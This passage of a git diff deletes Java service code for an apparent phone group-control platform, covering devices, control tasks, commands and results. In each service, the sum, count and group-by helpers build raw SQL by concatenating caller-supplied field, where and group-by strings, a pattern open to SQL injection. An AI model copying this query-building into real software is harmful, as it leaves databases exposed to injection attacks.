insertEcDeviceCommand(EcDeviceCommand ecDeviceCommand); - - /** - * 修改控制指令(单条指令) - * - * @param ecDeviceCommand 控制指令(单条指令) - * @return 结果 - */ - public int updateEcDeviceCommand(EcDeviceCommand ecDeviceCommand); - - /** - * 批量删除控制指令(单条指令) - * - * @param ids 需要删除的控制指令(单条指令)ID - * @return 结果 - */ - public int deleteEcDeviceCommandByIds(Long[] ids); - - /** - * 删除控制指令(单条指令)信息 - * - * @param id 控制指令(单条指令)ID - * @return 结果 - */ - public int deleteEcDeviceCommandById(Long id); - - List getByIds(List ids, SFunction... columns); - - EcDeviceCommandPlus getById(Long id, SFunction... columns); - - Map getMapByIds(List ids, SFunction... columns); - - List getByIds(List ids); - - Map getMapByIds(List ids); - - /** - * @param field sum 字段 - * @param where 条件 - * @param tClass 返回类型 - * @param - * @return - */ - T sum(String field, String where, Class tClass); - - Long count(String where); - - List countByGroupBy(String select, String where, String groupby, Class tClass); -} diff --git a/luqj-ec/src/main/java/com/luqj/ec/service/IEcDeviceService.java b/luqj-ec/src/main/java/com/luqj/ec/service/IEcDeviceService.java deleted file mode 100644 index 8f5c39f..0000000 --- a/luqj-ec/src/main/java/com/luqj/ec/service/IEcDeviceService.java +++ /dev/null @@ -1,103 +0,0 @@ -package com.luqj.ec.service; - -import java.util.Map; -import java.util.List; -import com.luqj.ec.domain.EcDevice; -import com.luqj.ec.domain.EcDevicePlus; -import com.luqj.ec.domain.dto.EcDeviceHeartbeatDto; -import com.luqj.ec.domain.dto.EcDeviceReportDto; -import com.baomidou.mybatisplus.extension.service.IService; -import com.baomidou.mybatisplus.core.toolkit.support.SFunction; -import com.ruoyi.common.select.SelectItem; - -/** - * 设备(手机设备)Service接口 - * - * @author luqj - * @date 2026-02-27 - */ -public interface IEcDeviceService extends IService { - - List select(String keyword); - - /** - * 查询设备(手机设备) - * - * @param id 设备(手机设备)ID - * @return 设备(手机设备) - */ - public EcDevice selectEcDeviceById(Long id); - - /** - * 查询设备(手机设备)列表 - * - * @param ecDevice 设备(手机设备) - * @return 设备(手机设备)集合 - */ - public List selectEcDeviceList(EcDevice ecDevice); - - /** - * 新增设备(手机设备) - * - * @param ecDevice 设备(手机设备) - * @return 结果 - */ - public int insertEcDevice(EcDevice ecDevice); - - /** - * 修改设备(手机设备) - * - * @param ecDevice 设备(手机设备) - * @return 结果 - */ - public int updateEcDevice(EcDevice ecDevice); - - /** - * 批量删除设备(手机设备) - * - * @param ids 需要删除的设备(手机设备)ID - * @return 结果 - */ - public int deleteEcDeviceByIds(Long[] ids); - - /** - * 删除设备(手机设备)信息 - * - * @param id 设备(手机设备)ID - * @return 结果 - */ - public int deleteEcDeviceById(Long id); - - List getByIds(List ids, SFunction... columns); - - EcDevicePlus getById(Long id, SFunction... columns); - - String snapshop(String deviceCode) throws Exception; - - String mjpegSnapshop(String deviceCode) throws Exception; - - Map getMapByIds(List ids, SFunction... columns); - - List getByIds(List ids); - - Map getMapByIds(List ids); - - /** - * @param field sum 字段 - * @param where 条件 - * @param tClass 返回类型 - * @param - * @return - */ - T sum(String field, String where, Class tClass); - - Long count(String where); - - List countByGroupBy(String select, String where, String groupby, Class tClass); - - EcDevicePlus selectEcDeviceByDeviceCode(String deviceCode); - - void reportDevice(EcDeviceReportDto reportDto); - - void heartbeat(EcDeviceHeartbeatDto heartbeatDto); -} diff --git a/luqj-ec/src/main/java/com/luqj/ec/service/IEcDeviceStatusService.java b/luqj-ec/src/main/java/com/luqj/ec/service/IEcDeviceStatusService.java deleted file mode 100644 index b68c014..0000000 --- a/luqj-ec/src/main/java/com/luqj/ec/service/IEcDeviceStatusService.java +++ /dev/null @@ -1,89 +0,0 @@ -package com.luqj.ec.service; -import java.util.Map; -import java.util.List; -import com.luqj.ec.domain.EcDeviceStatus; -import com.luqj.ec.domain.EcDeviceStatusPlus; -import com.baomidou.mybatisplus.extension.service.IService; -import com.baomidou.mybatisplus.core.toolkit.support.SFunction; -import com.ruoyi.common.select.SelectItem; -/** - * 设备心跳 & 状态(高频)Service接口 - * - * @author luqj - * @date 2026-02-27 - */ -public interface IEcDeviceStatusService extends IService -{ - - List select(String keyword); - /** - * 查询设备心跳 & 状态(高频) - * - * @param id 设备心跳 & 状态(高频)ID - * @return 设备心跳 & 状态(高频) - */ - public EcDeviceStatus selectEcDeviceStatusById(Long id); - - /** - * 查询设备心跳 & 状态(高频)列表 - * - * @param ecDeviceStatus 设备心跳 & 状态(高频) - * @return 设备心跳 & 状态(高频)集合 - */ - public List selectEcDeviceStatusList(EcDeviceStatus ecDeviceStatus); - - /** - * 新增设备心跳 & 状态(高频) - * - * @param ecDeviceStatus 设备心跳 & 状态(高频) - * @return 结果 - */ - public int insertEcDeviceStatus(EcDeviceStatus ecDeviceStatus); - - /** - * 修改设备心跳 & 状态(高频) - * - * @param ecDeviceStatus 设备心跳 & 状态(高频) - * @return 结果 - */ - public int updateEcDeviceStatus(EcDeviceStatus ecDeviceStatus); - - /** - * 批量删除设备心跳 & 状态(高频) - * - * @param ids 需要删除的设备心跳 & 状态(高频)ID - * @return 结果 - */ - public int deleteEcDeviceStatusByIds(Long[] ids); - - /** - * 删除设备心跳 & 状态(高频)信息 - * - * @param id 设备心跳 & 状态(高频)ID - * @return 结果 - */ - public int deleteEcDeviceStatusById(Long id); - - List getByIds(List ids, SFunction... columns); - - EcDeviceStatusPlus getById(Long id, SFunction... columns); - - Map getMapByIds(List ids, SFunction... columns); - - List getByIds(List ids); - - Map getMapByIds(List ids); - - /** - * @param field sum 字段 - * @param where 条件 - * @param tClass 返回类型 - * @param - * @return - */ - T sum(String field, String where, Class tClass); - - Long count(String where); - - List countByGroupBy(String select, String where, String groupby, Class tClass); -} diff --git a/luqj-ec/src/main/java/com/luqj/ec/service/IEcTaskCommandService.java b/luqj-ec/src/main/java/com/luqj/ec/service/IEcTaskCommandService.java deleted file mode 100644 index dae4ba9..0000000 --- a/luqj-ec/src/main/java/com/luqj/ec/service/IEcTaskCommandService.java +++ /dev/null @@ -1,89 +0,0 @@ -package com.luqj.ec.service; -import java.util.Map; -import java.util.List; -import com.luqj.ec.domain.EcTaskCommand; -import com.luqj.ec.domain.EcTaskCommandPlus; -import com.baomidou.mybatisplus.extension.service.IService; -import com.baomidou.mybatisplus.core.toolkit.support.SFunction; -import com.ruoyi.common.select.SelectItem; -/** - * 任务指令明细(一个任务多条指令)Service接口 - * - * @author luqj - * @date 2026-02-27 - */ -public interface IEcTaskCommandService extends IService -{ - - List select(String keyword); - /** - * 查询任务指令明细(一个任务多条指令) - * - * @param id 任务指令明细(一个任务多条指令)ID - * @return 任务指令明细(一个任务多条指令) - */ - public EcTaskCommand selectEcTaskCommandById(Long id); - - /** - * 查询任务指令明细(一个任务多条指令)列表 - * - * @param ecTaskCommand 任务指令明细(一个任务多条指令) - * @return 任务指令明细(一个任务多条指令)集合 - */ - public List selectEcTaskCommandList(EcTaskCommand ecTaskCommand); - - /** - * 新增任务指令明细(一个任务多条指令) - * - * @param ecTaskCommand 任务指令明细(一个任务多条指令) - * @return 结果 - */ - public int insertEcTaskCommand(EcTaskCommand ecTaskCommand); - - /** - * 修改任务指令明细(一个任务多条指令) - * - * @param ecTaskCommand 任务指令明细(一个任务多条指令) - * @return 结果 - */ - public int updateEcTaskCommand(EcTaskCommand ecTaskCommand); - - /** - * 批量删除任务指令明细(一个任务多条指令) - * - * @param ids 需要删除的任务指令明细(一个任务多条指令)ID - * @return 结果 - */ - public int deleteEcTaskCommandByIds(Long[] ids); - - /** - * 删除任务指令明细(一个任务多条指令)信息 - * - * @param id 任务指令明细(一个任务多条指令)ID - * @return 结果 - */ - public int deleteEcTaskCommandById(Long id); - - List getByIds(List ids, SFunction... columns); - - EcTaskCommandPlus getById(Long id, SFunction... columns); - - Map getMapByIds(List ids, SFunction... columns); - - List getByIds(List ids); - - Map getMapByIds(List ids); - - /** - * @param field sum 字段 - * @param where 条件 - * @param tClass 返回类型 - * @param - * @return - */ - T sum(String field, String where, Class tClass); - - Long count(String where); - - List countByGroupBy(String select, String where, String groupby, Class tClass); -} diff --git a/luqj-ec/src/main/java/com/luqj/ec/service/IEcTaskDeviceService.java b/luqj-ec/src/main/java/com/luqj/ec/service/IEcTaskDeviceService.java deleted file mode 100644 index 5648940..0000000 --- a/luqj-ec/src/main/java/com/luqj/ec/service/IEcTaskDeviceService.java +++ /dev/null @@ -1,89 +0,0 @@ -package com.luqj.ec.service; -import java.util.Map; -import java.util.List; -import com.luqj.ec.domain.EcTaskDevice; -import com.luqj.ec.domain.EcTaskDevicePlus; -import com.baomidou.mybatisplus.extension.service.IService; -import com.baomidou.mybatisplus.core.toolkit.support.SFunction; -import com.ruoyi.common.select.SelectItem; -/** - * 任务-设备关联(一任务多设备)Service接口 - * - * @author luqj - * @date 2026-02-27 - */ -public interface IEcTaskDeviceService extends IService -{ - - List select(String keyword); - /** - * 查询任务-设备关联(一任务多设备) - * - * @param id 任务-设备关联(一任务多设备)ID - * @return 任务-设备关联(一任务多设备) - */ - public EcTaskDevice selectEcTaskDeviceById(Long id); - - /** - * 查询任务-设备关联(一任务多设备)列表 - * - * @param ecTaskDevice 任务-设备关联(一任务多设备) - * @return 任务-设备关联(一任务多设备)集合 - */ - public List selectEcTaskDeviceList(EcTaskDevice ecTaskDevice); - - /** - * 新增任务-设备关联(一任务多设备) - * - * @param ecTaskDevice 任务-设备关联(一任务多设备) - * @return 结果 - */ - public int insertEcTaskDevice(EcTaskDevice ecTaskDevice); - - /** - * 修改任务-设备关联(一任务多设备) - * - * @param ecTaskDevice 任务-设备关联(一任务多设备) - * @return 结果 - */ - public int updateEcTaskDevice(EcTaskDevice ecTaskDevice); - - /** - * 批量删除任务-设备关联(一任务多设备) - * - * @param ids 需要删除的任务-设备关联(一任务多设备)ID - * @return 结果 - */ - public int deleteEcTaskDeviceByIds(Long[] ids); - - /** - * 删除任务-设备关联(一任务多设备)信息 - * - * @param id 任务-设备关联(一任务多设备)ID - * @return 结果 - */ - public int deleteEcTaskDeviceById(Long id); - - List getByIds(List ids, SFunction... columns); - - EcTaskDevicePlus getById(Long id, SFunction... columns); - - Map getMapByIds(List ids, SFunction... columns); - - List getByIds(List ids); - - Map getMapByIds(List ids); - - /** - * @param field sum 字段 - * @param where 条件 - * @param tClass 返回类型 - * @param - * @return - */ - T sum(String field, String where, Class tClass); - - Long count(String where); - - List countByGroupBy(String select, String where, String groupby, Class tClass); -} diff --git a/luqj-ec/src/main/java/com/luqj/ec/service/impl/EcCommandResultServiceImpl.java b/luqj-ec/src/main/java/com/luqj/ec/service/impl/EcCommandResultServiceImpl.java deleted file mode 100644 index 35608e1..0000000 --- a/luqj-ec/src/main/java/com/luqj/ec/service/impl/EcCommandResultServiceImpl.java +++ /dev/null @@ -1,200 +0,0 @@ -package com.luqj.ec.service.impl; - -import com.alibaba.fastjson.JSONArray; -import com.baomidou.mybatisplus.core.conditions.query.LambdaQueryWrapper; -import com.baomidou.mybatisplus.core.toolkit.support.SFunction; -import com.baomidou.mybatisplus.extension.service.impl.ServiceImpl; -import com.luqj.ec.domain.EcCommandResult; -import com.luqj.ec.domain.EcCommandResultPlus; -import com.luqj.ec.mapper.EcCommandResultMapper; -import com.luqj.ec.service.IEcCommandResultService; -import com.ruoyi.common.select.SelectItem; -import com.ruoyi.common.utils.StringUtils; -import org.springframework.beans.factory.annotation.Autowired; -import org.springframework.jdbc.core.JdbcTemplate; -import org.springframework.stereotype.Service; - -import java.util.ArrayList; -import java.util.HashMap; -import java.util.List; -import java.util.Map; - -/** - * 指令执行结果(客户端回传)Service业务层处理 - * - * @author luqj - * @date 2026-02-27 - */ -@Service -public class EcCommandResultServiceImpl extends ServiceImpl implements IEcCommandResultService { - @Autowired - private EcCommandResultMapper ecCommandResultMapper; - @Autowired - private JdbcTemplate jdbcTemplate; - - @Override - public List getByIds(List ids, SFunction... columns) { - LambdaQueryWrapper lambdaQueryWrapper = new LambdaQueryWrapper() - .select(columns).in(EcCommandResultPlus::getId, ids); - return this.list(lambdaQueryWrapper); - } - - @Override - public List select(String keyword) { - LambdaQueryWrapper lambdaQueryWrapper = new LambdaQueryWrapper() - .select(EcCommandResultPlus::getId, EcCommandResultPlus::getResult) - .like(EcCommandResultPlus::getResult, keyword); - List list = this.list(lambdaQueryWrapper); - List result = new ArrayList<>(); - for (EcCommandResultPlus item : list) { - SelectItem selectItem = new SelectItem(); - selectItem.setName(item.getResult()+""); - selectItem.setId(item.getId()); - result.add(selectItem); - } - return result; - } - - @Override - public EcCommandResultPlus getById(Long id, SFunction... columns) { - LambdaQueryWrapper lambdaQueryWrapper = new LambdaQueryWrapper() - .select(columns).eq(EcCommandResultPlus::getId, id); - return baseMapper.selectOne(lambdaQueryWrapper); - } - - @Override - public Map getMapByIds(List ids, SFunction... columns) { - List list = this.getByIds(ids, columns); - Map map = new HashMap<>(); - for (EcCommandResultPlus item : list) { - map.put(item.getId(), item); - } - return map; - } - - @Override - public Map getMapByIds(List ids) { - List list = this.getByIds(ids); - Map map = new HashMap<>(); - for (EcCommandResultPlus item : list) { - map.put(item.getId(), item); - } - return map; - } - - @Override - public List getByIds(List ids) { - LambdaQueryWrapper lambdaQueryWrapper = new LambdaQueryWrapper().in(EcCommandResultPlus::getId, ids); - return this.list(lambdaQueryWrapper); - } - - public T sum(String field, String where, Class tClass) { - StringBuffer stringBuffer = new StringBuffer(); - stringBuffer.append("select "); - stringBuffer.append(" sum(" + field + ") as total "); - stringBuffer.append(" from ec_command_result "); - if (StringUtils.isNotBlank(where)) { - stringBuffer.append(" where "); - stringBuffer.append(where); - } - T result = jdbcTemplate.queryForObject(stringBuffer.toString(), tClass); - return result; - } - - public Long count(String where) { - StringBuffer stringBuffer = new StringBuffer(); - stringBuffer.append("select "); - stringBuffer.append(" count(1)"); - stringBuffer.append(" from "); - stringBuffer.append(" ec_command_result "); - if (StringUtils.isNotBlank(where)) { - stringBuffer.append(" where "); - stringBuffer.append(where); - } - Long result = jdbcTemplate.queryForObject(stringBuffer.toString(), Long.class); - return result; - } - - public List countByGroupBy(String select, String where, String groupby, Class tClass) { - StringBuffer stringBuffer = new StringBuffer(); - stringBuffer.append("select "); - stringBuffer.append(select); - stringBuffer.append(" from "); - stringBuffer.append(" ec_command_result "); - if (StringUtils.isNotBlank(where)) { - stringBuffer.append(" where "); - stringBuffer.append(where); - } - stringBuffer.append(" group by "); - stringBuffer.append(groupby); - List result = jdbcTemplate.queryForList(stringBuffer.toString()); - List tList = JSONArray.parseArray(JSONArray.toJSONString(result), tClass); - return tList; - } - - /** - * 查询指令执行结果(客户端回传) - * - * @param id 指令执行结果(客户端回传)ID - * @return 指令执行结果(客户端回传) - */ - @Override - public EcCommandResult selectEcCommandResultById(Long id) { - return ecCommandResultMapper.selectEcCommandResultById(id); - } - - /** - * 查询指令执行结果(客户端回传)列表 - * - * @param ecCommandResult 指令执行结果(客户端回传) - * @return 指令执行结果(客户端回传) - */ - @Override - public List selectEcCommandResultList(EcCommandResult ecCommandResult) { - return ecCommandResultMapper.selectEcCommandResultList(ecCommandResult); - } - - /** - * 新增指令执行结果(客户端回传) - * - * @param ecCommandResult 指令执行结果(客户端回传) - * @return 结果 - */ - @Override - public int insertEcCommandResult(EcCommandResult ecCommandResult) { - return ecCommandResultMapper.insertEcCommandResult(ecCommandResult); - } - - /** - * 修改指令执行结果(客户端回传) - * - * @param ecCommandResult 指令执行结果(客户端回传) - * @return 结果 - */ - @Override - public int updateEcCommandResult(EcCommandResult ecCommandResult) { - return ecCommandResultMapper.updateEcCommandResult(ecCommandResult); - } - - /** - * 批量删除指令执行结果(客户端回传) - * - * @param ids 需要删除的指令执行结果(客户端回传)ID - * @return 结果 - */ - @Override - public int deleteEcCommandResultByIds(Long[] ids) { - return ecCommandResultMapper.deleteEcCommandResultByIds(ids); - } - - /** - * 删除指令执行结果(客户端回传)信息 - * - * @param id 指令执行结果(客户端回传)ID - * @return 结果 - */ - @Override - public int deleteEcCommandResultById(Long id) { - return ecCommandResultMapper.deleteEcCommandResultById(id); - } -} diff --git a/luqj-ec/src/main/java/com/luqj/ec/service/impl/EcControlTaskServiceImpl.java b/luqj-ec/src/main/java/com/luqj/ec/service/impl/EcControlTaskServiceImpl.java deleted file mode 100644 index 93ff856..0000000 --- a/luqj-ec/src/main/java/com/luqj/ec/service/impl/EcControlTaskServiceImpl.java +++ /dev/null @@ -1,205 +0,0 @@ -package com.luqj.ec.service.impl; -import com.baomidou.mybatisplus.core.conditions.query.LambdaQueryWrapper; -import com.baomidou.mybatisplus.core.conditions.query.QueryWrapper; -import com.baomidou.mybatisplus.extension.service.impl.ServiceImpl; -import com.github.pagehelper.PageHelper; -import com.baomidou.mybatisplus.core.toolkit.support.SFunction; - -import java.util.ArrayList; -import java.util.HashMap; -import com.ruoyi.common.utils.StringUtils; -import com.alibaba.fastjson.JSONArray; -import java.util.List; -import java.util.Map; -import org.springframework.beans.factory.annotation.Autowired; -import org.springframework.stereotype.Service; -import com.luqj.ec.mapper.EcControlTaskMapper; -import com.luqj.ec.domain.EcControlTask; -import com.luqj.ec.domain.EcControlTaskPlus; -import com.luqj.ec.service.IEcControlTaskService; -import org.springframework.beans.factory.annotation.Autowired; -import org.springframework.jdbc.core.JdbcTemplate; -import com.ruoyi.common.select.SelectItem; -/** - * 任务(群控核心)Service业务层处理 - * - * @author luqj - * @date 2026-02-27 - */ -@Service -public class EcControlTaskServiceImpl extends ServiceImpl implements IEcControlTaskService -{ - @Autowired - private EcControlTaskMapper ecControlTaskMapper; - @Autowired - private JdbcTemplate jdbcTemplate; - - @Override - public List getByIds(List ids, SFunction... columns) { - LambdaQueryWrapper lambdaQueryWrapper = new LambdaQueryWrapper() - .select(columns).in(EcControlTaskPlus::getId, ids); - return this.list(lambdaQueryWrapper); - } - @Override - public List select(String keyword) { - LambdaQueryWrapper lambdaQueryWrapper = new LambdaQueryWrapper() - .select(EcControlTaskPlus::getId, EcControlTaskPlus::getTaskName) - .like(EcControlTaskPlus::getTaskName, keyword); - List list = this.list(lambdaQueryWrapper); - List result =new ArrayList<>(); - for (EcControlTaskPlus item : list){ - SelectItem selectItem = new SelectItem(); - selectItem.setName(item.getTaskName()); - selectItem.setId(item.getId()); - result.add(selectItem); - } - return result; - } - @Override - public EcControlTaskPlus getById(Long id, SFunction... columns) { - LambdaQueryWrapper lambdaQueryWrapper = new LambdaQueryWrapper() - .select(columns).eq(EcControlTaskPlus::getId, id); - return baseMapper.selectOne(lambdaQueryWrapper); - } - - @Override - public Map getMapByIds(List ids, SFunction... columns) { - List list = this.getByIds(ids, columns); - Map map = new HashMap<>(); - for (EcControlTaskPlus item : list) { - map.put(item.getId(), item); - } - return map; - } - - @Override - public Map getMapByIds(List ids) { - List list = this.getByIds(ids); - Map map = new HashMap<>(); - for (EcControlTaskPlus item : list) { - map.put(item.getId(), item); - } - return map; - } - - @Override - public List getByIds(List ids) { - LambdaQueryWrapper lambdaQueryWrapper = new LambdaQueryWrapper().in(EcControlTaskPlus::getId, ids); - return this.list(lambdaQueryWrapper); - } - - public T sum(String field, String where, Class tClass) { - StringBuffer stringBuffer = new StringBuffer(); - stringBuffer.append("select "); - stringBuffer.append(" sum(" + field + ") as total "); - stringBuffer.append(" from ec_control_task "); - if (StringUtils.isNotBlank(where)) { - stringBuffer.append(" where "); - stringBuffer.append(where); - } - T result = jdbcTemplate.queryForObject(stringBuffer.toString(), tClass); - return result; - } - - public Long count(String where) { - StringBuffer stringBuffer = new StringBuffer(); - stringBuffer.append("select "); - stringBuffer.append(" count(1)"); - stringBuffer.append(" from "); - stringBuffer.append(" ec_control_task "); - if (StringUtils.isNotBlank(where)) { - stringBuffer.append(" where "); - stringBuffer.append(where); - } - Long result = jdbcTemplate.queryForObject(stringBuffer.toString(), Long.class); - return result; - } - - public List countByGroupBy(String select, String where, String groupby, Class tClass) { - StringBuffer stringBuffer = new StringBuffer(); - stringBuffer.append("select "); - stringBuffer.append(select); - stringBuffer.append(" from "); - stringBuffer.append(" ec_control_task "); - if (StringUtils.isNotBlank(where)) { - stringBuffer.append(" where "); - stringBuffer.append(where); - } - stringBuffer.append(" group by "); - stringBuffer.append(groupby); - List result = jdbcTemplate.queryForList(stringBuffer.toString()); - List tList = JSONArray.parseArray(JSONArray.toJSONString(result), tClass); - return tList; - } - /** - * 查询任务(群控核心) - * - * @param id 任务(群控核心)ID - * @return 任务(群控核心) - */ - @Override - public EcControlTask selectEcControlTaskById(Long id) - { - return ecControlTaskMapper.selectEcControlTaskById(id); - } - - /** - * 查询任务(群控核心)列表 - * - * @param ecControlTask 任务(群控核心) - * @return 任务(群控核心) - */ - @Override - public List selectEcControlTaskList(EcControlTask ecControlTask) - { - return ecControlTaskMapper.selectEcControlTaskList(ecControlTask); - } - - /** - * 新增任务(群控核心) - * - * @param ecControlTask 任务(群控核心) - * @return 结果 - */ - @Override - public int insertEcControlTask(EcControlTask ecControlTask) - { - return ecControlTaskMapper.insertEcControlTask(ecControlTask); - } - - /** - * 修改任务(群控核心) - * - * @param ecControlTask 任务(群控核心) - * @return 结果 - */ - @Override - public int updateEcControlTask(EcControlTask ecControlTask) - { - return ecControlTaskMapper.updateEcControlTask(ecControlTask); - } - - /** - * 批量删除任务(群控核心) - * - * @param ids 需要删除的任务(群控核心)ID - * @return 结果 - */ - @Override - public int deleteEcControlTaskByIds(Long[] ids) - { - return ecControlTaskMapper.deleteEcControlTaskByIds(ids); - } - - /** - * 删除任务(群控核心)信息 - * - * @param id 任务(群控核心)ID - * @return 结果 - */ - @Override - public int deleteEcControlTaskById(Long id) - { - return ecControlTaskMapper.deleteEcControlTaskById(id); - } -} diff --git a/luqj-ec/src/main/java/com/luqj/ec/service/impl/EcDeviceCommandServiceImpl.java b/luqj-ec/src/main/java/com/luqj/ec/service/impl/EcDeviceCommandServiceImpl.java deleted file mode 100644 index 253d4eb..0000000 --- a/luqj-ec/src/main/java/com/luqj/ec/service/impl/EcDeviceCommandServiceImpl.java +++ /dev/null @@ -1,205 +0,0 @@ -package com.luqj.ec.service.impl; -import com.baomidou.mybatisplus.core.conditions.query.LambdaQueryWrapper; -import com.baomidou.mybatisplus.core.conditions.query.QueryWrapper; -import com.baomidou.mybatisplus.extension.service.impl.ServiceImpl; -import com.github.pagehelper.PageHelper; -import com.baomidou.mybatisplus.core.toolkit.support.SFunction; - -import java.util.ArrayList; -import java.util.HashMap; -import com.ruoyi.common.utils.StringUtils; -import com.alibaba.fastjson.JSONArray; -import java.util.List; -import java.util.Map; -import org.springframework.beans.factory.annotation.Autowired; -import org.springframework.stereotype.Service; -import com.luqj.ec.mapper.EcDeviceCommandMapper; -import com.luqj.ec.domain.EcDeviceCommand; -import com.luqj.ec.domain.EcDeviceCommandPlus; -import com.luqj.ec.service.IEcDeviceCommandService; -import org.springframework.beans.factory.annotation.Autowired; -import org.springframework.jdbc.core.JdbcTemplate; -import com.ruoyi.common.select.SelectItem; -/** - * 控制指令(单条指令)Service业务层处理 - * - * @author luqj - * @date 2026-02-27 - */ -@Service -public class EcDeviceCommandServiceImpl extends ServiceImpl implements IEcDeviceCommandService -{ - @Autowired - private EcDeviceCommandMapper ecDeviceCommandMapper; - @Autowired - private JdbcTemplate jdbcTemplate; - - @Override - public List getByIds(List ids, SFunction... columns) { - LambdaQueryWrapper lambdaQueryWrapper = new LambdaQueryWrapper() - .select(columns).in(EcDeviceCommandPlus::getId, ids); - return this.list(lambdaQueryWrapper); - } - @Override - public List select(String keyword) { - LambdaQueryWrapper lambdaQueryWrapper = new LambdaQueryWrapper() - .select(EcDeviceCommandPlus::getId, EcDeviceCommandPlus::getCommandType) - .like(EcDeviceCommandPlus::getCommandType, keyword); - List list = this.list(lambdaQueryWrapper); - List result =new ArrayList<>(); - for (EcDeviceCommandPlus item : list){ - SelectItem selectItem = new SelectItem(); - selectItem.setName(item.getCommandType()); - selectItem.setId(item.getId()); - result.add(selectItem); - } - return result; - } - @Override - public EcDeviceCommandPlus getById(Long id, SFunction... columns) { - LambdaQueryWrapper lambdaQueryWrapper = new LambdaQueryWrapper() - .select(columns).eq(EcDeviceCommandPlus::getId, id); - return baseMapper.selectOne(lambdaQueryWrapper); - } - - @Override - public Map getMapByIds(List ids, SFunction... columns) { - List list = this.getByIds(ids, columns); - Map map = new HashMap<>(); - for (EcDeviceCommandPlus item : list) { - map.put(item.getId(), item); - } - return map; - } - - @Override - public Map getMapByIds(List ids) { - List list = this.getByIds(ids); - Map map = new HashMap<>(); - for (EcDeviceCommandPlus item : list) { - map.put(item.getId(), item); - } - return map; - } - - @Override - public List getByIds(List ids) { - LambdaQueryWrapper lambdaQueryWrapper = new LambdaQueryWrapper().in(EcDeviceCommandPlus::getId, ids); - return this.list(lambdaQueryWrapper); - } - - public T sum(String field, String where, Class tClass) { - StringBuffer stringBuffer = new StringBuffer(); - stringBuffer.append("select "); - stringBuffer.append(" sum(" + field + ") as total "); - stringBuffer.append(" from ec_device_command "); - if (StringUtils.isNotBlank(where)) { - stringBuffer.append(" where "); - stringBuffer.append(where); - } - T result = jdbcTemplate.queryForObject(stringBuffer.toString(), tClass); - return result; - } - - public Long count(String where) { - StringBuffer stringBuffer = new StringBuffer(); - stringBuffer.append("select "); - stringBuffer.append(" count(1)"); - stringBuffer.append(" from "); - stringBuffer.append(" ec_device_command "); - if (StringUtils.isNotBlank(where)) { - stringBuffer.append(" where "); - stringBuffer.append(where); - } - Long result = jdbcTemplate.queryForObject(stringBuffer.toString(), Long.class); - return result; - } - - public List countByGroupBy(String select, String where, String groupby, Class tClass) { - StringBuffer stringBuffer = new StringBuffer(); - stringBuffer.append("select "); - stringBuffer.append(select); - stringBuffer.append(" from "); - stringBuffer.append(" ec_device_command "); - if (StringUtils.isNotBlank(where)) { - stringBuffer.append(" where "); - stringBuffer.append(where); - } - stringBuffer.append(" group by "); - stringBuffer.append(groupby); - List result = jdbcTemplate.queryForList(stringBuffer.toString()); - List tList = JSONArray.parseArray(JSONArray.toJSONString(result), tClass); - return tList; - } - /** - * 查询控制指令(单条指令) - * - * @param id 控制指令(单条指令)ID - * @return 控制指令(单条指令) - */ - @Override - public EcDeviceCommand selectEcDeviceCommandById(Long id) - { - return ecDeviceCommandMapper.selectEcDeviceCommandById(id); - } - - /** - * 查询控制指令(单条指令)列表 - * - * @param ecDeviceCommand 控制指令(单条指令) - * @return 控制指令(单条指令) - */ - @Override - public List selectEcDeviceCommandList(EcDeviceCommand ecDeviceCommand) - { - return ecDeviceCommandMapper.selectEcDeviceCommandList(ecDeviceCommand); - } - - /** - * 新增控制指令(单条指令) - * - * @param ecDeviceCommand 控制指令(单条指令) - * @return 结果 - */ - @Override - public int insertEcDeviceCommand(EcDeviceCommand ecDeviceCommand) - { - return ecDeviceCommandMapper.insertEcDeviceCommand(ecDeviceCommand); - } - - /** - * 修改控制指令(单条指令) - * - * @param ecDeviceCommand 控制指令(单条指令) - * @return 结果 - */ - @Override - public int updateEcDeviceCommand(EcDeviceCommand ecDeviceCommand) - { - return ecDeviceCommandMapper.updateEcDeviceCommand(ecDeviceCommand); - } - - /** - * 批量删除控制指令(单条指令) - * - * @param ids 需要删除的控制指令(单条指令)ID - * @return 结果 - */ - @Override - public int deleteEcDeviceCommandByIds(Long[] ids) - { - return ecDeviceCommandMapper.deleteEcDeviceCommandByIds(ids); - } - - /** - * 删除控制指令(单条指令)信息 - * - * @param id 控制指令(单条指令)ID - * @return 结果 - */ - @Override - public int deleteEcDeviceCommandById(Long id) - { - return ecDeviceCommandMapper.deleteEcDeviceCommandById(id); - } -} diff --git a/luqj-ec/src/main/java/com/luqj/ec/service/impl/EcDeviceServiceImpl.java b/luqj-ec/src/main/java/com/luqj/ec/service/impl/EcDeviceServiceImpl.java deleted file mode 100644 index ec3bbed..0000000 --- a/luqj-ec/src/main/java/com/luqj/ec/service/impl/EcDeviceServiceImpl.java +++ /dev/null @@ -1,299 +0,0 @@ -package com.luqj.ec.service.impl; - -import com.alibaba.fastjson.JSONArray; -import com.baomidou.mybatisplus.core.conditions.query.LambdaQueryWrapper; -import com.baomidou.mybatisplus.core.toolkit.support.SFunction; -import com.baomidou.mybatisplus.extension.service.impl.ServiceImpl; -import com.luqj.ec.domain.EcDevice; -import com.luqj.ec.domain.EcDevicePlus; -import com.luqj.ec.domain.dto.EcDeviceHeartbeatDto; -import com.luqj.ec.domain.dto.EcDeviceReportDto; -import com.luqj.ec.mapper.EcDeviceMapper; -import com.luqj.ec.service.IEcDeviceService; -import com.luqj.javacv.utils.MjpegUtil; -import com.luqj.javacv.utils.RtspUtil; -import com.ruoyi.common.config.RuoYiConfig; -import com.ruoyi.common.select.SelectItem; -import com.ruoyi.common.utils.StringUtils; -import org.springframework.beans.factory.annotation.Autowired; -import org.springframework.jdbc.core.JdbcTemplate; -import org.springframework.stereotype.Service; - -import java.io.File; -import java.util.*; - -/** - * 设备(手机设备)Service业务层处理 - * - * @author luqj - * @date 2026-02-27 - */ -@Service -public class EcDeviceServiceImpl extends ServiceImpl implements IEcDeviceService { - @Autowired - private EcDeviceMapper ecDeviceMapper; - @Autowired - private JdbcTemplate jdbcTemplate; - @Autowired - private RuoYiConfig ruoYiConfig; - - @Override - public List getByIds(List ids, SFunction... columns) { - LambdaQueryWrapper lambdaQueryWrapper = new LambdaQueryWrapper() - .select(columns).in(EcDevicePlus::getId, ids); - return this.list(lambdaQueryWrapper); - } - - @Override - public List select(String keyword) { - LambdaQueryWrapper lambdaQueryWrapper = new LambdaQueryWrapper() - .select(EcDevicePlus::getId, EcDevicePlus::getDeviceCode) - .like(EcDevicePlus::getDeviceCode, keyword); - List list = this.list(lambdaQueryWrapper); - List result = new ArrayList<>(); - for (EcDevicePlus item : list) { - 